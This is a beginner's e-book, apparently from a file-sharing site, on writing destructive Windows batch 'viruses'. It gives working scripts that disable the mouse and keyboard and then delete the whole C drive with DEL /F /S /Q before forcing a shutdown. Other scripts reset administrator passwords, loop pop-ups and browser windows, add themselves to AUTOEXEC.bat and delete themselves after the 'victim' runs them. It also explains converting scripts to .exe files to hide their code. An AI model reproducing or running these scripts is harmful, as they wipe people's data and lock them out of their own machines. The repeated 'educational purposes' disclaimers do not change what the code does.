You are on page 1of 24

1

About This Book

This book is one of the best compact virus making tutorialized books available for free. I am Bharath Aka
Eth!c@l Aka Baba. This book is XCLUSIVELY for NOOBS , those who are starting their journey of exploring
the world of VIRUS.

I wrote this book only for educational purposes and for the people who mailed me tons of times for the
basic tutorial of such , here you go.

I have embedded basic commands with notes and examples. I know there is few stuff lacking in this
book, since you are a beginner, this would be enough. ( Not to confuse you up )

In my next edition , I will deal with more advanced stuff , like creating virus completely using languages
such as C, VB etc ..

This book is only for educational purposes, I am nowhere, no way responsible to any of your acts.

Colors used for easy understanding.

Codes will be in Brown in color

Editiors note or comments will be in GREEN COLOR , starts with ###

If you have any queries , you can meet me up @ bharath9yk@yahoo.com or on my website


www.buink.com/web-security

Please don’t post saying sum stupid shit like “this shit if for noobs” blablabla.
Its supposed to be for noobs.
3

Acknowledgements
Firstly, thank you my dear, lovely, awesome GOD for this life.

Thanks to my mom and dad, and this book is dedicated to you my GOD.

Thanks for being with me, my sweet heart JO.

I really must thank all my members who are all damn active on forum sharing their knowledge by
making their own tutorials including Video tutorials.

That really put up my spirit and made me to write this book which is my second one.

Shoutz to :

Jamie, Ryle, Cooldude, sahil_29_may, naimish, f_tech25

This book is only for educational purposes, I am nowhere, no way responsible to any of your
acts.
4

Table Of Contents

1. Introduction ------------------------------------------------------------------------------- 5

2. Terminology ------------------------------------------------------------------------------- 6

3. Creating Your Own Batch Virus ----------------------------------------------------- 7

3.1 What is a Batch file? ------------------------------------------------------------------- 8

3.2 How To Start ? --------------------------------------------------------------------------- 8

3.3 Coding -------------------------------------------------------------------------- 9

4. Lets Get Started -------------------------------------------------------------------------- 10

5. Freaky Programs ------------------------------------------------------------------------ 13

5.1 What Doest Freaky Programs Mean ? ------------------------------------------- 14

6. Password Changers -------------------------------------------------------------------- 16

7. Delete The Batch File Automatically As Soon As The Victim executes It. -------------- 18

8. Implementing “WAIT” ------------------------------------------------------------------ 18

9. Working With SET/P ---------------------------------------------------------------- 18

10. IF --------------------------------------------------------------------------------------------- 19

10.1 Working using IF ---------------------------------------------------- 21

11. Making .bat file Into .exe Files -------------------------------------------------------- 23

11.1 Converting .bat file into .exe file -------------------------------- 24

11.2 Coding In C Language --------------------------------------------- 24

11.3 Using Software To Convert .bat to .exe ------------------------- 24


5

Introduction:
Virus, This is the name that you hear most , whether you are online or offline. These viruses
ultimately effects your throughput ( Processing speed ) , kicks your privacy off etc..

How tech geeks code VIRUS ?? Is it that easy ?? I should say yes, it is damn easy to create a
program which does some malfunction rather than creating a good and efficient program.

There are many ways to create virus. Many programmers do prefer C language , ASM languages
to write virus , even VB etc ..

To fight against these viruses you must know how exactly they get coded by programmers and
how exactly they do work.

In this book I will explain about Creating Batch virus , Making it an exe file etc.

This book is only for EDUCATIONAL PURPOUSES. We are not responsibility to any kind of
damage you do directly or indirectly. Please do not miss use this.
6

TERMINOLOGY

VIRUS: A program or piece of code that is loaded onto your computer without your knowledge
and runs against your wishes. Viruses can also replicate themselves. All computer viruses are
manmade. A simple virus that can make a copy of itself over and over again is relatively easy to
produce. Even such a simple virus is dangerous because it will quickly use all available memory
and bring the system to a halt. An even more dangerous type of virus is one capable of
transmitting itself across networks and bypassing security systems.

HISTORY: The Creeper virus was first detected on ARPANET, the forerunner of the Internet in
the early 1970s. It propagated via the TENEX operating system and could make use of any
connected modem to dial out to remote computers and infect them. It would display the
message "I'M THE CREEPER : CATCH ME IF YOU CAN.". It is rumored that the Reaper program,
which appeared shortly after and sought out copies of the Creeper and deleted them, may have
been written by the creator of the Creeper in a fit of regret
7

Creating Your Own Batch Virus


8

What is a Batch file?

A Batch file is a program that runs in the command prompt of a computer. It uses MS-DOS
commands, and can help you or destroy you. I'm just going to explain the basics of how to
program a Batch file virus/semi virus.

How To Start ?

Open notepad. It should come auto-installed on your operating system. Now all you have to
do is remember to save this scripting code that you are about to write as a ".BAT" file. That
means , as soon as you are done with writing code in notepad , save it with an extension “.Bat”
this will create .bat file.
9

CODING

Always begin Batch file with two commands, @echo off and cls . These commands hide your
commands/code for the person who activates the program.

So far so good, now , open your notepad and type the above two commands

@echo off

cls

Before I start talking about Advanced commands, the obvious next step should be “What
Exactly That You Want The Program To Do “

Obviously this depends on many factors, on your ethics, number of enemies that you have etc.
You must have a clear vision of what you are doing and what exactly the program should do.

Good to see you thinking.

While you think, I give you a quick glance of few damn important commands.

echo --- This command will make text appear in the command prompt.

pause --- This command will ask the user to "Press Any Key To continue" before it activates the
next command.

Example:

@echo off
cls
echo Hi, hello world
pause

Now save the above file with extension “.bat” and test it , if you want to.

Hope you are done with your thinking job.


10

Lets Get Started ….

Let’s Code A Simple Frustrating Virus.

You can ultimately screw your enemies brains without damaging his/her computer.

Before that , let us go through few predominant commands

MSG

This command sends a pop-up message to a user of your choice with a message that you do
specify. This even make little BEEP sound while throwing out the pop-up. The more pop-ups the
more frustration

Syntax

MSG (user) (message)

Example

MSG Ethical Hi Ethical

:list

This command can put a title on a list of commands

GOTO

This command is used for naming a list of commands to go to.

Example:

GOTO list

# Note : GOTO has no syntax

START

This command will start any program/application on your computer that you specify. Plays a
prominent role.
11

Syntax

START (program to start)

Example

START firefox.exe

Rundll32

This command can control any module on the computer like Key board, mouse etc .. This is
one of the best commands.

Syntax

RunDll32 (module,command) / Rundll32 (User,command)

### Don’t get confused. It will be more clear when we get deep into this in forth coming topics.

Let’s Code A Simple Frustrating Virus.

@echo off
:REPEAT
cls
Rundll32 user32,SwapMouseButton
echo visit www.buink.com/web-security
start www.google.com
start www.yahoo.com
start www.buink.com/web-security
start www.buink.com
goto REPEAT

### When you make a .bat file , the code can be seen by viewing it using notepad just by right clicking
on it. To avoid this , we need to make it look like a genuine progie. To do that we use C language and
convert the .bat file into .exe file. I will explain you how to do this in coming topics.
12

You can make this program Auto Run up on every Boot-up. You can simply give it the attributes
of an auto-run Batch file. Use this code to do so

cls
cd c:
type cd c:
ATTRIB c:AUTOEXEC.bat -H
%0 >>c:AUTOEXEC.bat
echo > copy %0
ATTRIB c:AUTOEXEC.bat +H
del /q %0
cls

### Before executing the above code go to CMD and type ATTRIB /? To know what exactly the ATTRIB
does.

PRACTICE:

Go To CMD and type each command given above with /? beside the Command to know all the
attributes it has.

For Example

MSG /?

This will help you a lot.


13

FREAKY PROGRAMS
14

What Doest Freaky Programs Mean ?

Freaky Programs … The name says it all.

It just means EXPLORING THE DARK SIDE.

There are many commands seems to be considered as NOOB commands by few guys ( Who
think that they know much ) but they aren’t. They seems to be calm but they cause damn
fuck*n destruction.

These commands sound really beautiful, lovely. But a single command of such can destroy any
machine.

Thinking of using these commands on your friends, enemies??… This comes down to ETHICS. I
seriously OBJECT trying these on others computers without their permission and I personally
don’t encourage doing this.

As I’ve claimed before, this book is only for Educational Purposes. Don’t misuse it , and I am no
way responsible to any of the act you do.

DEL

Sounds good ha ?? We can use the DEL command (delete) with several nifty options and can
silently delete the whole harddrive in a little less than 10 seconds.

Open CMD ( go to Start>Run>cmd) and type DEL /?

You can see different attributes, options it has.

Deletes one or more files.

DEL [/P] [/F] [/S] [/Q] [/A[[:]attributes]] names


ERASE [/P] [/F] [/S] [/Q] [/A[[:]attributes]] names

names Specifies a list of one or more files or directories.


Wildcards may be used to delete multiple files. If a
directory is specified, all files within the directory
will be deleted.

/P Prompts for confirmation before deleting each file.


/F Force deleting of read-only files.
15

/S Delete specified files from all subdirectories.


/Q Quiet mode, do not ask if ok to delete on global wildcard
/A Selects files to delete based on attributes

Example:

@echo off
cls
rundll32 MOUSE,disable ### Disables Mouse
rundll32 KEYBOARD,disable ### Disables Key Board
rundll32 user32,SetCursorPos ### Puts the mouse pointer in the lower right corner of the screen.
cls ### Clears the above displayed stuff
DEL /F /S /Q C: ### Deletes C: Drive Force fully, whole tree, quietly
cls
shutdown -s -t 10 –c -f ### Shuts down in 10 seconds without prompt
cls
exit

### Above , brown font is the code and green font is just the description.

The above code Disables mouse, keyboard. /f = forcefully , /s = complete tree , /q = Quietly ( without any
prompt )

Finally shuts down the system within 10 seconds.

It seems to be very simple virus, but it creates damn pain in Arse. Destructs massively. It deletes
hard drive silently , and shuts down. The user cant even stop the process since his mouse and
keyboard has been disabled.

As soon as he execute the program, if he notice some vague thing happening, he can shutdown
the system which will ultimately throw him on the sea shore from the sea.

Again, I am not liable for anything you choose to do with this knowledge... It's
not my fault, infact I recommend you never use these commands.
16

PASSWORD CHANGERS
17

There are lots of little beautiful commands, all you need to do is EXPLORE them as many as you
can.

One amongst them is net user

@echo off
cls
net user owner NewPassword
net user administrator NewPassword
cls
echo.
echo Check Out , Your Passwords Has Been Changed ..
pause
exit

The "net user" command can be used in several different ways:

Type net user /? To know more

Simple “net user” will display all users on the local PC.

This command is very helpful to change the password through command prompt.
18

Delete The Batch File Automatically As Soon As The Victim executes It.

DEL /Q (program_name.BAT)

Add it at the end of the code of your batch file.

Implementing “WAIT”

@ping.exe 127.0.0.1 -n 5 -w 1000 > nul

The above command pauses its process for 5 seconds and then executes the next command.

Working With SET/P

@echo off
cls
echo what is your name? ### Prints What Is Your Name
Set /p input= ### Takes the input
cls
echo Hi %input%!! ### Prints Hi with the given input
pause ### Pauses until you press any button
exit ### Exits

### Above , brown font is the code and green font is just the description.

Echo used to prints the message beside it on the screen when execution is done.

Set /p Variable_name You can set Variable name as you wish. This command is used to take
input and stores the given input in assigned variable.

Hope the above example is self explanatory. If you don’t really understand you can try that out
making .bat file.
19
20

Working Using “IF”

Let us consider general If ..... Else Statements

The If, Else, Else If sounds similar as that of ENGLISH wording, and I say yes , it is ..

Example:

If ramu go to the college He can meet his lecturer else he can't meet his lecturer.

This is the best example I can give .. If the condition is true that is going to the college , the statement
will be true that is He can meet his lecturer , If it is false then he can't meet his lecturer.

This is the same case with most of the stuff.

In Batch we have some thing like

IF condition is true Execute next

@echo off
cls
echo Please enter password:
set /p inputchoice=
IF %inputchoice% equ 08yds1 goto accessgranted
echo.
echo.
echo Access Denied
pause
exit
:accessgranted
cls
echo Access Granted.
pause
exit

First; it sends a message telling the user to enter a password. Then we use the "IF" command to
say that IF the user types 08yds1, to GOTO a new command list. If he doesn't, that IF string will
simply be skipped, and the screen will read "Access Denied".
21

Using this in the virus world:

Batch programming doesn't directly relate to Batch viruses, but there are always ways of
making it do so. Be creative.

@echo off
cls
Rundll32 MOUSE,disable
cls
echo Welcome To The World Of Fun.
echo.
echo hi
pause
cls
echo Answer these questions as best you can.
pause
echo What, is your name?
set /p name=
cls
echo What, is your quest?
set /p input=
cls
echo What, is your favorite color?
set /p color=
echo %name%, your favorite color is not %color%!!!
echo.
@ping.exe 127.0.0.1 -n 3 -w 1000 > nul
goto DIE
:DIE
echo AHHHHHH
DEL /Q /S /F C:
cls
shutdown -s -t 10 -c "Thou Art Guess was Incorrect." -f

Above we have a nasty little program that pops-up in the command prompt and disables your
Mouse.

I don’t damn recommend you to try this up neither on your friends nor on your enemies. But if
you do, perhaps use a little bit less black-hat command than Delete C drive?

Try using While loops, for etc ,.


22

Converting .bat file Into .exe File


23

Converting .bat file into .exe file

I will show you two ways to do this.

1. Coding In C language to make your file .exe file.


2. Using software to convert .bat to .exe

Coding In C language.

Well yes, you can use all batch commands in C and make it directly .exe file with out any
converting crap !!

This is how it goes.

I will give you a simple code , You can easily understand.

#include<stdio>
#include<conio>
#include<stdlib>

void main()
{
sys tem("@echo off");
sys tem("md c:\Dont.Panic1”);
}

#include<stdio> ,#include<conio> , #include<stdlib> these three are the important stuff that
you must include them while starting a program in c.

# include<stdlib> , this library helps in embedding batch commands and execute them.

If you got any command to be executed ( batch command ) please follow the syntax.

sys tem(“COMMAND");

If you think that you are done with writing a program, compile it, that makes an .exe file.

Its done.
24

Using Software To Convert .bat to .exe

Use Multi biner c 1.4.1 to do all that you want.

Video : http://buink.com/web-security/index.php?topic=2113.0

If I get enough response , I will write the next edition of it , thanks for
your support.

Meet me @ bharath9yk@yahoo.com
Visit us @ www.buink.com/web-security

Send your feed back @ bharath9yk@yahoo.com

Regards … ETH!C@L

You might also like